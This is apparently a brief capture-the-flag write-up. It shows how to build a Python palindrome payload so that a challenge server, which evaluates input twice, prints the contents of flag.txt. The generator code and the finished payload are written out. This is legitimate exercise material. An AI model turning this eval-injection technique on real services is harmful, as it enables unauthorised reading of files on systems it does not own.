After spending way too much time googleing how to write a palindrom in python without using `#` I found [this](https://codegolf.stackexchange.com/a/2974) answer on codegolf:

```python
"a\";w=]1-::[w trinp;)(tupni_war=w;";w=raw_input();print w[::-1]==w;"\a"
```

After this discovery constructing the palindrom was pretty straight. The string send to the server is evaluated twice, working backward we first want to print out the content of `flag.txt`

```python
print(list(open("flag.txt")))
```

Now all we had to do was to encapsulate it in another print statement and make it a palindrom with the template from above.

```python
code = '''print('print(list(open(\\'flag.txt\\')))');"\\a'''
code = '"' + code[::-1] + ';";' + code + '"'
print(code)
# "a\";)')))'\txt.galf'\(nepo(tsil(tnirp'(tnirp;";print('print(list(open(\'flag.txt\')))');"\a"
```